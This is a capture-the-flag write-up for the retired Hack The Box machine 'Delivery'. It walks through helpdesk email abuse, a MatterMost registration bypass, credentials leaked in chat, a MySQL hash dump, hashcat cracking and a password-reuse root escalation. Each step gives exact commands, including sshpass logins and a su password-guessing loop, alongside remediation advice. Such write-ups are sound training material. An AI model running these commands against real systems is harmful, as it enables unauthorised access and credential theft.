jperezduerto.info
Delivery
Linux· Easy
Summary
I exploited the public helpdesk portal to obtain an internal @delivery.htb email address at no cost, then used that address to bypass MatterMost's domain-restricted registration and read internal staff chat. A message in that chat disclosed plaintext SSH credentials, giving shell access to the server.
From there I read the MatterMost database configuration file, extracted a bcrypt-hashed administrator password from MySQL, and cracked it offline using a rule-based hashcat attack seeded with a password hint left in the same chat channel. The cracked password was also set as the root account password, granting full operating-system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
1ReconnaissanceService enumeration (Nmap)
Mapped exposed services and identified two attack surfaces
A port scan revealed an osTicket helpdesk on port 80 (helpdesk.delivery.htb), a MatterMost team-chat server on port 8065, and SSH on port 22. The delivery.htb landing page linked visitors to both the helpdesk and the MatterMost instance, confirming both were intentionally public-facing.
Exact commands 3
Identify open ports and service banners.
nmap -sV -p 22,80,8065 --open -T4 $TARGETConfirm landing page references to internal services.
curl -sS http://$TARGET/ | grep -i 'mattermost\|helpdesk\|team'Verify MatterMost API is reachable.
curl -sS http://$TARGET:8065/api/v4/system/ping2Initial AccessAbuse of unauthenticated self-service ticket creation
Opened a support ticket to obtain a free @delivery.htb email address
The helpdesk at helpdesk.delivery.htb/open.php allowed anyone on the internet to submit a ticket with no identity verification. On submission, osTicket automatically assigned a tracking inbox at <ticket-id>@delivery.htb and made the ticket's email thread visible to anyone who held the ticket number — no login required. This effectively gave me a legitimate internal email address for free.
TCP 80 at helpdesk.delivery.htb/open.php confirmed; CSRF token [REDACTED: sensitive value] observed in the form.
Exact commands 2
Retrieve the current CSRF token from the form.
curl -sS http://helpdesk.delivery.htb/open.php | grep -i 'csrftoken\|__csrf'Submit ticket; the response shows the assigned ticket number and @delivery.htb inbox address.
curl -sS -X POST http://helpdesk.delivery.htb/open.php -d "__CSRFToken__=<CSRF>&name=Test+User&email=$USERNAME@example.com&subject=Help&message=test&topicId=1" -L | grep -i '@delivery.htb\|ticket'FixRequire verified identity before issuing an internal-domain ticket inboxHigh
WeaknessThe public helpdesk automatically assigned a @delivery.htb email address to anyone who submitted a ticket, with no identity check, turning a customer-service feature into an account-creation bypass for internal systems.
FixDo not grant @delivery.htb-routable inboxes to unauthenticated users. Either require account login before opening a ticket, or route ticket notifications through a non-deliverable internal alias that unauthorised users cannot poll. Add CAPTCHA and rate-limiting to the ticket form as a minimum short-term control.
3Initial AccessEmail domain-restriction bypass via open ticket system
Used the ticket email to register on MatterMost and read the confirmation link
MatterMost's self-registration was limited to @delivery.htb addresses. I registered with the ticket-assigned address (e.g. 3827049@delivery.htb). MatterMost sent an account-confirmation email to that address, which appeared inside the osTicket ticket thread — visible without authentication to anyone who knew the ticket number. Reading that link completed MatterMost registration and granted access to internal team channels.
Exact commands 2
Replace 3827049 with the ticket ID obtained in the previous step.
# Visit http://$TARGET:8065/signup_email and register with 3827049@delivery.htbPoll the ticket view for the MatterMost verification link sent to the ticket inbox.
curl -sS 'http://helpdesk.delivery.htb/tickets.php?id=3827049' | grep -i 'verify\|confirm\|mattermost\|http'FixDisable MatterMost self-registration or switch to invite-only accessHigh
WeaknessMatterMost allowed any holder of a @delivery.htb address to self-register. Because the helpdesk issued those addresses publicly, an unauthorised user could chain the two systems to bypass domain-based access control entirely.
FixDisable public self-registration in MatterMost (System Console → Authentication → Email → 'Enable account creation' → Off) and distribute access exclusively via admin-generated invitation links. If self-registration must stay on, verify each applicant's identity out-of-band before approval.
4Credential AccessCredential disclosure in internal communications
Read plaintext SSH credentials posted in the internal MatterMost channel
After confirming the MatterMost account, I browsed the internal team channel and found a staff message advising new team members to use the credentials maildeliverer:[REDACTED: recovered credential] to access the helpdesk. Those same credentials were also valid for SSH on the target host.
[REDACTED: recovered credential] and succeeded.
Exact commands 1
The plaintext credential maildeliverer:[REDACTED: recovered credential] is visible in the channel message history.
# Log in to http://$TARGET:8065 and browse the internal team channelFixRemove plaintext credentials from internal chat channels and rotate them immediatelyCritical
WeaknessA live SSH credential (maildeliverer:[REDACTED: recovered credential]) was posted in a MatterMost channel and left visible to every authenticated user, including one who had just bypassed access controls.
FixEnforce a written policy prohibiting sharing credentials via chat, email, or tickets. Immediately rotate any credential known to have been shared this way. Store and distribute service-account credentials through a secrets manager (e.g. HashiCorp Vault, Bitwarden Secrets Manager) and provide short-lived, scoped tokens rather than long-lived passwords.
5FootholdValid account — SSH login with exposed credentials
Logged in as maildeliverer over SSH and captured the user flag
Using the credentials recovered from MatterMost, I authenticated directly via SSH and obtained an interactive shell as the maildeliverer user, confirming code execution on the host and capturing the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh maildeliverer@$TARGET returned id and user.txt.
Exact commands 1
Authenticate and confirm shell; user.txt contains <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 maildeliverer@$TARGET 'id; hostname; find / -name user.txt 2>/dev/null -print -quit | xargs -r cat'6DiscoveryCredential access from application configuration file
Read the MatterMost config file and dumped the admin password hash from MySQL
The MatterMost configuration file at /opt/mattermost/config/config.json was readable by maildeliverer and contained the MySQL credentials in plaintext. I connected to MySQL with those credentials and queried the Users table, extracting the bcrypt password hash for the MatterMost administrator account.
Exact commands 2
Extract the MySQL DSN, including username, password, and database name.
cat /opt/mattermost/config/config.json | python3 -c "import sys,json; c=json.load(sys.stdin); print(c['SqlSettings']['DataSource'])"Replace the password with the one found in config.json; retrieves the admin bcrypt hash.
mysql -u mmuser -p'<DB_PASSWORD_FROM_CONFIG>' mattermost -e "SELECT Username,Password FROM Users WHERE Roles LIKE '%system_admin%';"FixRestrict read access to application configuration files that contain credentialsHigh
WeaknessThe MatterMost configuration file /opt/mattermost/config/config.json contained the MySQL password in plaintext and was readable by the unprivileged maildeliverer account, allowing lateral movement into the database.
FixSet config.json ownership to the dedicated mattermost service account (chown mattermost:mattermost /opt/mattermost/config/config.json && chmod 600 /opt/mattermost/config/config.json). Where the framework supports it, inject database credentials via environment variables or a secrets manager rather than storing them in files on disk.
7Credential AccessOffline password cracking — bcrypt with rule-based mutation (hashcat -m 3200)
Cracked the admin bcrypt hash offline using a rule-based hashcat attack
A MatterMost channel message warned staff not to use password variations of '[REDACTED: recovered credential]' — directly revealing the base word for the administrator's password. I ran hashcat with the best64 rule set, which applies hundreds of common mutations (appended digits, punctuation, case flips) to the base word. The cracked password matched one of these mutations.
Exact commands 3
Save the extracted bcrypt hash (full $2a$10$... String) to a file.
echo '$2a$10$<PASTE_ADMIN_BCRYPT_HASH_HERE>' > hash.txtSeed the wordlist with the base word disclosed in MatterMost chat.
echo '$PASSWORD2' > base.txtRule-based bcrypt crack; recovers the mutation used as the admin password.
hashcat -m 3200 hash.txt base.txt -r /usr/share/hashcat/rules/best64.rule --forceFixEnforce strong, unique passwords and never disclose password patterns to usersHigh
WeaknessThe MatterMost administrator password was a simple best64 mutation of the word '[REDACTED: recovered credential]' — a pattern that staff openly disclosed in a chat message. This let an unauthorised user construct a trivially small wordlist that cracked a bcrypt hash in minutes.
FixRequire passwords of at least 16 characters generated by a password manager with no predictable root word. Audit and reset any password known to follow a disclosed pattern. Never communicate password schemes or hints through an unauthorised user might read.
8Privilege EscalationCredential reuse — application password identical to OS root password
Escalated to root by reusing the cracked application password
The root OS account shared its password with the MatterMost administrator account. I ran su - root from the maildeliverer shell, supplied the cracked password, and obtained a root shell — achieving full system compromise and capturing the root flag.
Recovered credential] variants via su - root and broke on success, yielding root id and root.txt.
Exact commands 1
Verbatim kill-chain loop; iterates cracked mutations until root shell is obtained. Root.txt contains <root.txt>.
for pw in '$PASSWORD2' '${PASSWORD2}21' '${PASSWORD2}2020' '${PASSWORD2}1' '${PASSWORD2}123' '$PASSWORD2@' '${PASSWORD2}2'; do echo TRY:$pw; sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null maildeliverer@$TARGET "printf '%s\n' '$pw' | su - root -c 'id; cat /root/root.txt'" 2>/dev/null && break; doneFixNever reuse application passwords for privileged OS accountsCritical
WeaknessThe root account's password was identical to the cracked MatterMost administrator password. A single successful offline crack therefore yielded complete control of the operating system.
FixEnsure every privileged OS account (root, all sudo users) has a unique, randomly generated password that is never shared with any application account. After any application credential compromise, audit and rotate all privileged OS account passwords. Where possible, disable password-based su/sudo for root entirely and enforce SSH key-based or PAM-based authentication with MFA.
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.